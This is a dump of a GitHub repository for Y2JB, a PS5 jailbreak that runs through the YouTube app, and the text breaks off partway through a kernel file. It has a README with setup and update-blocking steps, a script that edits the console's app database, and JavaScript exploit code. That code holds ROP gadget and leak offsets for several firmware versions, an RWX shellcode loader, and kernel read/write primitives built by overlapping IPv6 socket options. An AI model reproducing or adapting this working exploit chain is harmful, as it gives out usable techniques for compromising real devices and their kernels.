Gezine/Y2JB/main 35k tokens More Tools
```
├── .github/
   ├── FUNDING.yml
├── LICENSE (omitted)
├── README.md (1500 tokens)
├── appinfo_editor.py (400 tokens)
├── download0/
   ├── cache/
      ├── splash_screen/
         ├── aHR0cHM6Ly93d3cueW91dHViZS5jb20vdHY=/
            ├── aioshellcode.js (800 tokens)
            ├── elfldr-ps5-1340.elf
            ├── global.js (1700 tokens)
            ├── kernel.js (1800 tokens)
            ├── kexp_2026_05_25.bin
            ├── main.js (8.8k tokens)
            ├── misc.js (3.2k tokens)
            ├── remotejsloader.js (1400 tokens)
            ├── splash.html (100 tokens)
├── log_server.py (200 tokens)
├── payload_sender.py (200 tokens)
├── payloads/
   ├── dlsym_test.js (100 tokens)
   ├── helloworld.js
   ├── lapse.js (14.6k tokens)
   ├── setlogserver.js (100 tokens)
```


## /.github/FUNDING.yml

```yml path="/.github/FUNDING.yml" 
github: [Gezine]
```

## /README.md

# Y2JB

Userland code execution using the PS5 YouTube app.

## Requirements

- At least 4.03 firmware PS5

### For Jailbroken PS5 (Webkit, Lua, BD-JB)
- Fake or legit activated PS5
- For firmware 4.03 to 12.40 get YouTube app (PPSA01650) version 01.000.003 PKG
- For firmware 12.60 and up get YouTube app (PPSA01650) version 01.000.030 PKG
- FTP access to the console

### For Non-Jailbroken PS5
- USB flash drive
- Pre-made backup file

## Setup Instructions

### Configure Network DNS Settings (Optional, but highly recommended)

1. Navigate to **Settings > Network > Settings > Set Up Internet Connection**
2. Scroll to the bottom and select **Set Up Manually**
3. Choose your connection type:
   - **Use WiFi**: Enter your network name and password manually, then set security to "WPA-Personal..."
   - **Use a LAN Cable**: Proceed to the next step
4. Under **DNS Settings**, change from "Automatic" to **Manual**
5. Set **Primary DNS** to `127.0.0.2` (leave Secondary DNS blank)
6. Press **Done** and wait for the connection to establish

**Note:** You may see a network/PSN connection error - this is expected and can be safely ignored. The console will still function normally for YouTube payload delivery.

**Alternative:** Instead of using 127.0.0.2, you can block PSN servers using your custom DNS server.

#### Why is Setting DNS to 127.0.0.2 Required?

The DNS configuration is critical for Y2JB to function properly for two technical reasons:

1. **Blocking PSN Connections**: Setting the DNS to 127.0.0.2 (localhost) prevents the PS5 from reaching PlayStation Network servers. This blocks both the YouTube app and system firmware update prompts that would otherwise interfere with the exploit.

### Fake Account Activation

**Note:** If you're using the backup file from the releases page, you can skip this section.

Y2JB requires a **fake-activated account** to run properly.

**Important:** If you have a legit PSN-activated account (officially registered through PlayStation Network), you **cannot** use it directly with Y2JB. You must create and use a separate fake-activated account instead.

**To fake activate an account:**
1. Create a new offline account on your PS5
2. While logging in to this new account, open **etaHEN toolbox**
3. Navigate to the **"Remote Play"** menu
4. The account will be automatically fake activated

### Jailbroken PS5

1. Install YouTube app PKG on your PS5
2. Use FTP to access the following path (create if not present):
   ```
   /user/download/PPSA01650
   ```
3. Download `download0.dat` from the releases page and send it using FTP

### Non-Jailbroken PS5

1. Download the backup file from the releases page  
**Firmware 4.03 – 12.40** → `Y2JB_backup_1.6(4.03)`  
**Firmware 12.60 and up** → `Y2JB_backup_1.6(12.20)`  
2. Follow Sony's official guide to [restore backup data from USB](https://www.playstation.com/en-gb/support/hardware/back-up-ps5-data-USB/)

**⚠️ WARNING:** Restoring backup data **WILL FACTORY RESET YOUR PS5**. All data on your console will be erased.

### Blocking YouTube Updates (appinfo_editor.py)

**⚠️ CRITICAL WARNING:** Database corruption can result in the deletion of **ALL installed FPKGs and savedata** stored on your internal storage. Before proceeding with this section, **backup your savedata** using the PS5's built-in backup and restore feature in Settings to prevent data loss.

This script prevents the YouTube app from updating if you accidentally connect to the internet. Allowing updates can cause a softlock that prevents YouTube from launching (see next section for fix instructions).  

**Steps:**
1. After installing the YouTube PKG, retrieve `/system_data/priv/mms/appinfo.db` from your PS5 using FTP
2. Place `appinfo.db` in the same directory as `appinfo_editor.py`
3. Run the script to modify `appinfo.db` and block YouTube updates:
   ```
   python appinfo_editor.py
   ```
4. **Before replacing the file** on your PS5 (to avoid database corruption):
   - Close the YouTube app completely
   - Navigate to the Settings page
   - Ensure no packages are currently being installed or updated
5. Use FTP to replace `/system_data/priv/mms/appinfo.db` with the modified version
6. If you don't receive any database corruption notification, reboot your PS5

### How to Escape from YouTube Softlock
![youtube_softlock](https://github.com/user-attachments/assets/62012e7f-e004-4e20-8c18-bd7d0bbd72b1)

This issue typically occurs when you connect to the internet **before** setting the 127.0.0.2 DNS (most common with WiFi users).

**Recovery steps:**
1. Once softlocked, connect to the internet normally without custom DNS
2. Launch YouTube again and deny the system software update popup
3. The YouTube app should now launch successfully
4. Run the jailbreak and load HEN
5. Set the DNS to 127.0.0.2 again, then uninstall YouTube
6. Follow the **Jailbroken PS5** section and **Blocking YouTube Updates (appinfo_editor.py)** section again
7. Restart your PS5. Done.

## Sending Payloads

**Note:** The Remote JS Server does not always use port 50000. While it typically defaults to port 50000, it may occasionally use a different port - this is normal behavior, not a bug.

You can send payloads using `payload_sender.py` (requires Python).

**Usage:**
```
python payload_sender.py <host> <file>
python payload_sender.py <host> <port> <file>
```

**Examples:**
```
python payload_sender.py 192.168.1.100 helloworld.js
python payload_sender.py 192.168.1.100 50000 helloworld.js
python payload_sender.py 192.168.1.100 9020 payload.bin
```

### Lapse Payload

**Firmware Compatibility:** Only works up to firmware 10.01

After the Lapse payload succeeds, you need to send the HEN or other elf binary to port **9021**. You can use any TCP payload sender such as:
- `netcat`
- `payload_sender.py`

**Example:**
```
python payload_sender.py 192.168.1.100 9021 hen.bin
```

## Credits

* **[shahrilnet](https://github.com/shahrilnet), [null_ptr](https://github.com/n0llptr)** - Referenced many codes from [Remote Lua Loader](https://github.com/shahrilnet/remote_lua_loader)
* **[BenNoxXD](https://github.com/BenNoxXD)** - [ClosePlayer](https://github.com/BenNoxXD/PS5-BDJ-HEN-loader) reference
* **[ntfargo](https://github.com/ntfargo)** - Thanks for providing V8 CVEs and CTF writeups
* **abc and psfree team** - Lapse implementation
* **[flat_z](https://github.com/flatz) and [LM](https://github.com/LightningMods)** - Helping implement GPU rw using direct ioctl
* **[john-tornblom](https://github.com/john-tornblom) and [EchoStretch](https://github.com/EchoStretch)** - Providing elfldr.elf payload
* **[hammer-83](https://github.com/hammer-83)** - Various BD-J PS5 exploit references
* **[zecoxao](https://github.com/zecoxao), [idlesauce](https://github.com/idlesauce), and [TheFlow](https://github.com/theofficialflow)** - Helping troubleshoot dlsym
* **[Dr.Yenyen](https://github.com/DrYenyen) and PS5 R&D community** - Testing Y2JB
* **Rush** - Creating Y2JB backup file
* **[ufm42](https://github.com/ufm42)** - [kexp](https://github.com/ufm42/kexp) used for PS5 post JB all-in-one shellcode

## Disclaimer

This tool is provided as-is for research and development purposes only.  
Use at your own risk.  
The developers are not responsible for any damage, data loss, or consequences resulting from the use of this software.  


## /appinfo_editor.py

```py path="/appinfo_editor.py" 
import sqlite3
import shutil
import os

if not os.path.exists('appinfo.db'):
    print("Error: appinfo.db file not found!")
    exit(1)

print("Creating backup...")
shutil.copy('appinfo.db', 'appinfo.org.db')
print("Backup created: appinfo.org.db")

conn = sqlite3.connect('appinfo.db')
cursor = conn.cursor()

TITLE_IDS = ['PPSA01650', 'PPSA01651', 'PPSA01652']

for title_id in TITLE_IDS:
    print(f"\n--- Processing {title_id} ---")

    cursor.execute("""
        SELECT key, val 
        FROM tbl_appinfo 
        WHERE titleId = ? 
        AND key IN ('CONTENT_VERSION', 'VERSION_FILE_URI')
    """, (title_id,))
    results = cursor.fetchall()

    if len(results) != 2:
        print(f"Error: Expected 2 keys but found {len(results)} for {title_id}")
        print("Required keys: CONTENT_VERSION, VERSION_FILE_URI")
        print(f"Found keys: {[row[0] for row in results]}")
        conn.close()
        exit(1)

    print("All required keys found. Proceeding with updates...")

    cursor.execute("""
        UPDATE tbl_appinfo 
        SET val = '99.999.999'
        WHERE titleId = ? 
        AND key = 'CONTENT_VERSION'
    """, (title_id,))
    print(f"Updated CONTENT_VERSION (rows affected: {cursor.rowcount})")

    cursor.execute("""
        UPDATE tbl_appinfo 
        SET val = 'http://127.0.0.2'
        WHERE titleId = ?
        AND key = 'VERSION_FILE_URI'
    """, (title_id,))
    print(f"Updated VERSION_FILE_URI (rows affected: {cursor.rowcount})")

conn.commit()

print("\nVerifying changes...")
for title_id in TITLE_IDS:
    print(f"\n  [{title_id}]")
    cursor.execute("""
        SELECT key, val 
        FROM tbl_appinfo 
        WHERE titleId = ? 
        AND key IN ('CONTENT_VERSION', 'VERSION_FILE_URI')
    """, (title_id,))
    for row in cursor.fetchall():
        print(f"    {row[0]}: {row[1]}")

conn.close()
print("\nChanges saved to appinfo.db")
print("Original backed up to appinfo.org.db")
```

## /download0/cache/splash_screen/aHR0cHM6Ly93d3cueW91dHViZS5jb20vdHY=/aioshellcode.js

```js path="/download0/cache/splash_screen/aHR0cHM6Ly93d3cueW91dHViZS5jb20vdHY=/aioshellcode.js" 

let BIN_NAME    = "kexp_2026_05_25.bin";
let ELFLDR_NAME = "elfldr-ps5-1340.elf";

let elfldr_addr = 0n;
let elfldr_size = 0n;
let elfldr_data = null;
let allproc     = 0n;
let master_pipe = null;
let victim_pipe = null;

function find_file(filename) {
    const search = [
        "/mnt/sandbox/" + TITLE_ID + "_000/download0/cache/splash_screen/aHR0cHM6Ly93d3cueW91dHViZS5jb20vdHY=/" + filename,
        "/mnt/sandbox/" + TITLE_ID + "_001/download0/cache/splash_screen/aHR0cHM6Ly93d3cueW91dHViZS5jb20vdHY=/" + filename,
        "/mnt/sandbox/" + TITLE_ID + "_002/download0/cache/splash_screen/aHR0cHM6Ly93d3cueW91dHViZS5jb20vdHY=/" + filename,
    ];
    for (const path of search) {
        if (file_exists(path)) {
            return path;
        }
    }
    return null;
}

async function map_shellcode(bin_data) {
    const size         = BigInt(bin_data.length);
    const aligned_size = (size + BigInt(PAGE_SIZE) - 1n) & ~(BigInt(PAGE_SIZE) - 1n);

    const fd_buf  = malloc(4n);
    const exec_fd = syscall(SYSCALL.jitshm_create, 0n, aligned_size, 0x7n);
    if (exec_fd < 0n) {
        throw new Error("jitshm_create failed: " + toHex(exec_fd));
    }

    const entry_addr = syscall(SYSCALL.mmap, 0n, aligned_size, PROT_RWX, MAP_SHARED, exec_fd, 0n);
    if (entry_addr === 0n || entry_addr === BigInt(-1)) {
        throw new Error("mmap failed (size=0x" + aligned_size.toString(16) + ")");
    }

    write_buffer(entry_addr, bin_data);

    await log("Shellcode mapped @ " + toHex(entry_addr) + " (size: 0x" + aligned_size.toString(16) + ")");
    return entry_addr;
}

async function run_shellcode(entry_addr) {
    const args = malloc(0x28n);
    write32(args + 0x00n, master_pipe[0]);
    write32(args + 0x04n, master_pipe[1]);
    write32(args + 0x08n, victim_pipe[0]);
    write32(args + 0x0Cn, victim_pipe[1]);
    write64(args + 0x10n, allproc);
    write64(args + 0x18n, elfldr_addr);
    write64(args + 0x20n, elfldr_size);

    const thr_handle = malloc(8n);

    await log("Spawning shellcode thread at: " + toHex(entry_addr));

    const ret = call(Thrd_create, thr_handle, entry_addr, args);
    if (ret !== 0n) {
        throw new Error("Thrd_create failed: " + toHex(ret));
    }

    const handle = read64(thr_handle);
    await log("Shellcode thread spawned, handle: " + toHex(handle));

    const ret_val = malloc(8n);
    const join_ret = call(Thrd_join, handle, ret_val);
    if (join_ret !== 0n) {
        throw new Error("Thrd_join failed: " + toHex(join_ret));
    }

    await log("Shellcode returned: " + toHex(read64(ret_val)));
}

async function load_elfldr() {
    const path = find_file(ELFLDR_NAME);
    if (!path) {
        throw new Error("elfldr file not found: " + ELFLDR_NAME);
    }

    elfldr_data = read_file(path);
    elfldr_addr = malloc(BigInt(elfldr_data.length));
    write_buffer(elfldr_addr, elfldr_data);
    elfldr_size = BigInt(elfldr_data.length);

    await log("elfldr @ " + toHex(elfldr_addr) + " size: 0x" + elfldr_size.toString(16));
}

async function load_bin() {
    const path = find_file(BIN_NAME);
    if (!path) {
        throw new Error("kexp bin file not found: " + BIN_NAME);
    }

    const bin_data = read_file(path);
    await log("Bin size: " + bin_data.length + " (0x" + bin_data.length.toString(16) + ")");

    const entry_addr = await map_shellcode(bin_data);
    await run_shellcode(entry_addr);

    await log("=== Shellcode done ===");
}

async function load_aioshellcode(arg_allproc, arg_master_pipe, arg_victim_pipe) {
    check_jailbroken();
    
    allproc     = arg_allproc;
    master_pipe = arg_master_pipe;
    victim_pipe = arg_victim_pipe;

    await log("=== PS5 AIO JB Shellcode by ufm42 ===");
    await load_elfldr();
    await load_bin();
}


```

## /download0/cache/splash_screen/aHR0cHM6Ly93d3cueW91dHViZS5jb20vdHY=/elfldr-ps5-1340.elf

Binary file available at https://raw.githubusercontent.com/Gezine/Y2JB/refs/heads/main/download0/cache/splash_screen/aHR0cHM6Ly93d3cueW91dHViZS5jb20vdHY=/elfldr-ps5-1340.elf

## /download0/cache/splash_screen/aHR0cHM6Ly93d3cueW91dHViZS5jb20vdHY=/global.js

```js path="/download0/cache/splash_screen/aHR0cHM6Ly93d3cueW91dHViZS5jb20vdHY=/global.js" 
// Global functions
let addrof;
let read64;
let write64;
let create_fakeobj;
let read8;
let write8;
let read16;
let write16;
let read32;
let write32;
let get_backing_store;
let malloc;
let pwn;
let get_bytecode_addr;
let call_rop;
let call;
let syscall;

let Thrd_create;
let Thrd_join;

// Global objects
let allocated_buffers = [];
let eboot_base = 0n;
let libc_base = 0n;
let libcobalt_base = 0n;
let libstarboard_base = 0n;

let libc_strerror;
let libc_error;
let return_value_addr;
let libkernel_base;
let syscall_wrapper;
let rop_chain;
let fake_bc;
let fake_frame;
let return_value_buf;
let saved_fp = 0n;

let FW_VERSION;
let TITLE_ID;
let Y2_VERSION;

const PAGE_SIZE = 0x4000;
const PHYS_PAGE_SIZE = 0x1000;

const STDIN_FILENO = 0n;
const STDOUT_FILENO = 1n;
const STDERR_FILENO = 2n;

const AF_INET = 2n;
const AF_INET6 = 28n;
const SOCK_STREAM = 1n;
const SOCK_DGRAM = 2n;
const IPPROTO_UDP = 17n;
const IPPROTO_IPV6 = 41n;
const IPV6_PKTINFO = 46n;
const INADDR_ANY = 0n;

const SOL_SOCKET = 0xffffn;
const SO_REUSEADDR = 4n;

const PROT_NONE = 0x0n;
const PROT_READ = 0x1n;
const PROT_WRITE = 0x2n;
const PROT_EXEC  = 0x4n;
const PROT_RWX   = PROT_READ | PROT_WRITE | PROT_EXEC;

const GPU_READ = 0x10n;
const GPU_WRITE = 0x20n;
const GPU_RW = 0x30n;

const MAP_SHARED = 0x1n;
const MAP_PRIVATE = 0x2n;
const MAP_FIXED = 0x10n;
const MAP_ANONYMOUS = 0x1000n;
const MAP_NO_COALESCE = 0x400000n;

const O_RDONLY = 0n;
const O_WRONLY = 1n;
const O_RDWR = 2n;
const O_CREAT = 0x200n;
const O_TRUNC = 0x400n;
const O_APPEND = 0x8n;
const O_NONBLOCK = 0x4n;

const SIGILL = 4n;
const SIGKILL = 9n;
const SIGBUS = 10n;
const SIGSEGV = 11n;
const SA_SIGINFO = 0x4n;

const LIBKERNEL_HANDLE = 0x2001n;

let ROP;

let ROP_403 = {
    get pop_rsp()             { return eboot_base + 0x49f7fn;   },
    get pop_rax()             { return eboot_base + 0x2d954n;   },
    get pop_rdi()             { return eboot_base + 0xb0ec5n;   },
    get pop_rsi()             { return eboot_base + 0xb8a81n;   },
    get pop_rdx()             { return eboot_base + 0xb692n;    },
    get pop_rcx()             { return eboot_base + 0x187da3n;  },
    get pop_r8()              { return eboot_base + 0x1a8ff9n;  },
    get pop_r9()              { return eboot_base + 0x1394e01n; },
    get pop_rbp()             { return eboot_base + 0x69n;      },
    get mov_qword_rdi_rax()   { return eboot_base + 0x49a77n;   },
    get mov_qword_rdi_rdx()   { return eboot_base + 0x3a3b95n;  },
    get mov_rax_0x200000000() { return eboot_base + 0x1283d40n; },
    get mov_rsp_rbp()         { return eboot_base + 0xb1424n;   },
    get ret()                 { return eboot_base + 0x32n;      },
};

let ROP_1220 = {
    get pop_rsp()             { return libcobalt_base + 0xa59cn;   },
    get pop_rax()             { return libcobalt_base + 0x1ab82n;  },
    get pop_rdi()             { return libcobalt_base + 0x4cbn;    },
    get pop_rsi()             { return libcobalt_base + 0x1174n;   },
    get pop_rdx()             { return libcobalt_base + 0x108f12n; },
    get pop_rcx()             { return libcobalt_base + 0xc18en;   },
    get pop_r8()              { return libcobalt_base + 0x1ab81n;  },
    get pop_r9()              { return libcobalt_base + 0x3bf622n; },
    get pop_rbp()             { return libcobalt_base + 0xc6n;     },
    get mov_qword_rdi_rax()   { return libcobalt_base + 0x561bcn;  },
    get mov_qword_rdi_rdx()   { return libcobalt_base + 0x4f75edn; },
    get mov_rax_0x200000000() { return libcobalt_base + 0x2c4e10n; },
    get mov_rsp_rbp()         { return libcobalt_base + 0x7ad24cn; },
    get ret()                 { return libcobalt_base + 0x42n;     },
};

let ROP_1320 = {
    get pop_rsp()             { return libcobalt_base + 0x6f7c7n;  },
    get pop_rax()             { return libcobalt_base + 0x35942n;  },
    get pop_rdi()             { return libcobalt_base + 0x54bn;    },
    get pop_rsi()             { return libcobalt_base + 0x26a5n;   },
    get pop_rdx()             { return libcobalt_base + 0x81300n;  },
    get pop_rcx()             { return libcobalt_base + 0x25e9n;   },
    get pop_r8()              { return libcobalt_base + 0x35941n;  },
    get pop_r9()              { return libcobalt_base + 0x3d9132n; },
    get pop_rbp()             { return libcobalt_base + 0xc6n;     },
    get mov_qword_rdi_rax()   { return libcobalt_base + 0x6fcecn;  },
    get mov_qword_rdi_rdx()   { return libcobalt_base + 0x510fddn; },
    get mov_rax_0x200000000() { return libcobalt_base + 0x2de890n; },
    get mov_rsp_rbp()         { return libcobalt_base + 0x7c79acn; },
    get ret()                 { return libcobalt_base + 0x31n;     },
};


let Y2_OFFSET;

let Y2_OFFSET_403 = {
    EBOOT_LEAK : 0xFBC81Fn,
    LIBC_LEAK1 : 0x2A66660n,
    LIBC_LEAK2 : 0x851A0n,
    RSP_OFFSET : 0x8n,
    
    get sceMsgDialogTerminate()          { return eboot_base + 0x2A65C60n; },
    get sceErrorDialogTerminate()        { return eboot_base + 0x2A65C68n; },
    get sceKernelGetModuleInfoFromAddr() { return libc_base  + 0x113C08n;  },
    get gettimeofday()                   { return libc_base  + 0x113B18n;  },
    
    get libc_strerror()                  { return libc_base  + 0x73520n;   },
    get libc_error()                     { return libc_base  + 0xCC5A0n;   },
    
    get Thrd_create()                    { return libc_base  + 0x4BF0n;    },
    get Thrd_join()                      { return libc_base  + 0x49F0n;    },
    
}

let Y2_OFFSET_1220 = {
    LIBCOBALT_LEAK : 0x7DFFDFn,
    LIBSTARBOARD_LEAK1 : 0x1AD05D0n,
    LIBSTARBOARD_LEAK2 : 0x6D9B0n,
    LIBC_LEAK1 : 0x99CCD0n,
    LIBC_LEAK2 : 0x3EE20n,
    RSP_OFFSET : 0x10n,
    
    get sceMsgDialogTerminate()          { return libstarboard_base + 0x99D550n; },
    get sceErrorDialogTerminate()        { return libstarboard_base + 0x99D558n; },
    get sceKernelGetModuleInfoFromAddr() { return libc_base         + 0x113C08n; },
    get gettimeofday()                   { return libc_base         + 0x113B18n; },
    
    get libc_strerror()                  { return libc_base         + 0x73520n;  },
    get libc_error()                     { return libc_base         + 0xCC5A0n;  },
    
    get Thrd_create()                    { return libc_base         + 0x4BF0n;   },
    get Thrd_join()                      { return libc_base         + 0x49F0n;   },
    
}

let Y2_OFFSET_1320 = {
    LIBCOBALT_LEAK : 0x7FA73Fn,
    LIBSTARBOARD_LEAK1 : 0x2483B20n,
    LIBSTARBOARD_LEAK2 : 0x3D5D0n,
    LIBC_LEAK1 : 0x52DBA0n,
    LIBC_LEAK2 : 0x3AD00n,
    RSP_OFFSET : 0x10n,
    
    get sceMsgDialogTerminate()          { return libstarboard_base + 0x52E4D8n; },
    get sceErrorDialogTerminate()        { return libstarboard_base + 0x52E4E8n; },
    get sceKernelGetModuleInfoFromAddr() { return libc_base         + 0x19E488n; },
    get gettimeofday()                   { return libc_base         + 0x19E348n; },
    
    get libc_strerror()                  { return libc_base         + 0x6EAC0n;  },
    get libc_error()                     { return libc_base         + 0x11D1B0n;  },
    
    get Thrd_create()                    { return libc_base         + 0x50A0n;   },
    get Thrd_join()                      { return libc_base         + 0x4EA0n;   },
    
}

let SYSCALL = {
    read: 0x3n,
    write: 0x4n,
    open: 0x5n,
    close: 0x6n,
    setuid: 0x17n,
    getuid: 0x18n,
    accept: 0x1en,
    pipe: 0x2an,
    mprotect: 0x4an,
    socket: 0x61n,
    connect: 0x62n,
    bind: 0x68n,
    setsockopt: 0x69n,
    listen: 0x6an,
    getsockopt: 0x76n,
    netgetiflist: 0x7dn,
    sendto: 0x85n,
    sysctl: 0xcan,
    nanosleep: 0xf0n,
    sigaction: 0x1a0n,
    thr_self: 0x1b0n,
    dlsym: 0x24fn,
    dynlib_load_prx: 0x252n,
    dynlib_unload_prx: 0x253n,
    randomized_path: 0x25an,
    is_in_sandbox: 0x249n,
    mmap: 0x1ddn,
    getpid: 0x14n,
    jitshm_create: 0x215n,
    jitshm_alias: 0x216n,
    unlink: 0xan,
    chmod: 0xfn,
    recvfrom: 0x1dn,
    getsockname: 0x20n,
    rename: 0x80n,
    sendto: 0x85n,
    mkdir: 0x88n,
    rmdir: 0x89n,
    stat: 0xbcn,
    getdents: 0x110n,
    lseek: 0x1den,
    dup2: 0x5an,
    fcntl: 0x5cn,
    select: 0x5dn,
    fstat: 0xbdn,
    umtx_op: 0x1c6n,
    cpuset_getaffinity: 0x1e7n,
    cpuset_setaffinity: 0x1e8n,
    rtprio_thread: 0x1d2n,
    ftruncate: 0x1e0n,
    sched_yield: 0x14bn,
    munmap: 0x49n,
    thr_new: 0x1c7n,
    thr_exit: 0x1afn,
    fsync: 0x5fn,
    ioctl: 0x36n,
    kill: 0x25n
};

```

## /download0/cache/splash_screen/aHR0cHM6Ly93d3cueW91dHViZS5jb20vdHY=/kernel.js

```js path="/download0/cache/splash_screen/aHR0cHM6Ly93d3cueW91dHViZS5jb20vdHY=/kernel.js" 
// https://github.com/shahrilnet/remote_lua_loader/blob/main/savedata/kernel.lua

let kernel = {
    addr: {},
    copyout: null,
    copyin: null,
    read_buffer: null,
    write_buffer: null
};

let kernel_offset = {
  // proc structure
  PROC_FD:            0x48n,
  PROC_PID:           0xbcn,
  // filedesc
  FILEDESC_OFILES:    0x8n,
  SIZEOF_OFILES:      0x30n,
  // net
  SO_PCB:             0x18n,
  INPCB_PKTOPTS:      0x120n,
};

kernel.read_byte = function(kaddr) {
    const value = kernel.read_buffer(kaddr, 1);
    return value && value.length === 1 ? BigInt(value[0]) : null;
};

kernel.read_word = function(kaddr) {
    const value = kernel.read_buffer(kaddr, 2);
    if (!value || value.length !== 2) return null;
    return BigInt(value[0]) | (BigInt(value[1]) << 8n);
};

kernel.read_dword = function(kaddr) {
    const value = kernel.read_buffer(kaddr, 4);
    if (!value || value.length !== 4) return null;
    let result = 0n;
    for (let i = 0; i < 4; i++) {
        result |= (BigInt(value[i]) << BigInt(i * 8));
    }
    return result;
};

kernel.read_qword = function(kaddr) {
    const value = kernel.read_buffer(kaddr, 8);
    if (!value || value.length !== 8) return null;
    let result = 0n;
    for (let i = 0; i < 8; i++) {
        result |= (BigInt(value[i]) << BigInt(i * 8));
    }
    return result;
};

kernel.read_null_terminated_string = function(kaddr) {
    const decoder = new TextDecoder('utf-8');
    let result = "";
    
    while (true) {
        const chunk = kernel.read_buffer(kaddr, 0x8);
        if (!chunk || chunk.length === 0) break;
        
        let null_pos = -1;
        for (let i = 0; i < chunk.length; i++) {
            if (chunk[i] === 0) {
                null_pos = i;
                break;
            }
        }
        
        if (null_pos >= 0) {
            if (null_pos > 0) {
                result += decoder.decode(chunk.slice(0, null_pos));
            }
            return result;
        }
        
        result += decoder.decode(chunk, { stream: true });
        kaddr = kaddr + BigInt(chunk.length);
    }
    
    return result;
};

kernel.write_byte = function(dest, value) {
    const buf = new Uint8Array(1);
    buf[0] = Number(value & 0xFFn);
    kernel.write_buffer(dest, buf);
};

kernel.write_word = function(dest, value) {
    const buf = new Uint8Array(2);
    buf[0] = Number(value & 0xFFn);
    buf[1] = Number((value >> 8n) & 0xFFn);
    kernel.write_buffer(dest, buf);
};

kernel.write_dword = function(dest, value) {
    const buf = new Uint8Array(4);
    for (let i = 0; i < 4; i++) {
        buf[i] = Number((value >> BigInt(i * 8)) & 0xFFn);
    }
    kernel.write_buffer(dest, buf);
};

kernel.write_qword = function(dest, value) {
    const buf = new Uint8Array(8);
    for (let i = 0; i < 8; i++) {
        buf[i] = Number((value >> BigInt(i * 8)) & 0xFFn);
    }
    kernel.write_buffer(dest, buf);
};

const ipv6_kernel_rw = {
    data: {},
    ofiles: null,
    kread8: null,
    kwrite8: null
};

ipv6_kernel_rw.init = function(ofiles, kread8, kwrite8) {
    ipv6_kernel_rw.ofiles = ofiles;
    ipv6_kernel_rw.kread8 = kread8;
    ipv6_kernel_rw.kwrite8 = kwrite8;
    
    ipv6_kernel_rw.create_pipe_pair();
    ipv6_kernel_rw.create_overlapped_ipv6_sockets();
};

ipv6_kernel_rw.get_fd_data_addr = function(fd) {
    const filedescent_addr = ipv6_kernel_rw.ofiles + BigInt(fd) * kernel_offset.SIZEOF_OFILES;
    const file_addr = ipv6_kernel_rw.kread8(filedescent_addr + 0x0n);
    return ipv6_kernel_rw.kread8(file_addr + 0x0n);
};

ipv6_kernel_rw.create_pipe_pair = function() {
    const [read_fd, write_fd] = create_pipe();
    
    ipv6_kernel_rw.data.pipe_read_fd = read_fd;
    ipv6_kernel_rw.data.pipe_write_fd = write_fd;
    ipv6_kernel_rw.data.pipe_addr = ipv6_kernel_rw.get_fd_data_addr(read_fd);
    ipv6_kernel_rw.data.pipemap_buffer = malloc(0x14);
    ipv6_kernel_rw.data.read_mem = malloc(PAGE_SIZE);
};

ipv6_kernel_rw.create_overlapped_ipv6_sockets = function() {
    const master_target_buffer = malloc(0x14);
    const slave_buffer = malloc(0x14);
    const pktinfo_size_store = malloc(0x8);
    
    write64(pktinfo_size_store, 0x14n);
    
    const master_sock = syscall(SYSCALL.socket, AF_INET6, SOCK_DGRAM, IPPROTO_UDP);
    const victim_sock = syscall(SYSCALL.socket, AF_INET6, SOCK_DGRAM, IPPROTO_UDP);
    
    syscall(SYSCALL.setsockopt, master_sock, IPPROTO_IPV6, IPV6_PKTINFO, master_target_buffer, 0x14n);
    syscall(SYSCALL.setsockopt, victim_sock, IPPROTO_IPV6, IPV6_PKTINFO, slave_buffer, 0x14n);
    
    const master_so = ipv6_kernel_rw.get_fd_data_addr(master_sock);
    const master_pcb = ipv6_kernel_rw.kread8(master_so + kernel_offset.SO_PCB);
    const master_pktopts = ipv6_kernel_rw.kread8(master_pcb + kernel_offset.INPCB_PKTOPTS);
    
    const slave_so = ipv6_kernel_rw.get_fd_data_addr(victim_sock);
    const slave_pcb = ipv6_kernel_rw.kread8(slave_so + kernel_offset.SO_PCB);
    const slave_pktopts = ipv6_kernel_rw.kread8(slave_pcb + kernel_offset.INPCB_PKTOPTS);
    
    ipv6_kernel_rw.kwrite8(master_pktopts + 0x10n, slave_pktopts + 0x10n);
    
    ipv6_kernel_rw.data.master_target_buffer = master_target_buffer;
    ipv6_kernel_rw.data.slave_buffer = slave_buffer;
    ipv6_kernel_rw.data.pktinfo_size_store = pktinfo_size_store;
    ipv6_kernel_rw.data.master_sock = master_sock;
    ipv6_kernel_rw.data.victim_sock = victim_sock;
};

ipv6_kernel_rw.ipv6_write_to_victim = function(kaddr) {
    write64(ipv6_kernel_rw.data.master_target_buffer, kaddr);
    write64(ipv6_kernel_rw.data.master_target_buffer + 0x8n, 0n);
    write32(ipv6_kernel_rw.data.master_target_buffer + 0x10n, 0n);
    syscall(SYSCALL.setsockopt, ipv6_kernel_rw.data.master_sock, IPPROTO_IPV6, 
            IPV6_PKTINFO, ipv6_kernel_rw.data.master_target_buffer, 0x14n);
};

ipv6_kernel_rw.ipv6_kread = function(kaddr, buffer_addr) {
    ipv6_kernel_rw.ipv6_write_to_victim(kaddr);
    syscall(SYSCALL.getsockopt, ipv6_kernel_rw.data.victim_sock, IPPROTO_IPV6, 
            IPV6_PKTINFO, buffer_addr, ipv6_kernel_rw.data.pktinfo_size_store);
};

ipv6_kernel_rw.ipv6_kwrite = function(kaddr, buffer_addr) {
    ipv6_kernel_rw.ipv6_write_to_victim(kaddr);
    syscall(SYSCALL.setsockopt, ipv6_kernel_rw.data.victim_sock, IPPROTO_IPV6, 
            IPV6_PKTINFO, buffer_addr, 0x14n);
};

ipv6_kernel_rw.ipv6_kread8 = function(kaddr) {
    ipv6_kernel_rw.ipv6_kread(kaddr, ipv6_kernel_rw.data.slave_buffer);
    return read64(ipv6_kernel_rw.data.slave_buffer);
};

ipv6_kernel_rw.copyout = function(kaddr, uaddr, len) {
   if (kaddr === null || kaddr === undefined || 
       uaddr === null || uaddr === undefined || 
       len === null || len === undefined || len === 0n) {
       throw new Error("copyout: invalid arguments");
   }
    
    write64(ipv6_kernel_rw.data.pipemap_buffer, 0x4000000040000000n);
    write64(ipv6_kernel_rw.data.pipemap_buffer + 0x8n, 0x4000000000000000n);
    write32(ipv6_kernel_rw.data.pipemap_buffer + 0x10n, 0n);
    ipv6_kernel_rw.ipv6_kwrite(ipv6_kernel_rw.data.pipe_addr, ipv6_kernel_rw.data.pipemap_buffer);
    
    write64(ipv6_kernel_rw.data.pipemap_buffer, kaddr);
    write64(ipv6_kernel_rw.data.pipemap_buffer + 0x8n, 0n);
    write32(ipv6_kernel_rw.data.pipemap_buffer + 0x10n, 0n);
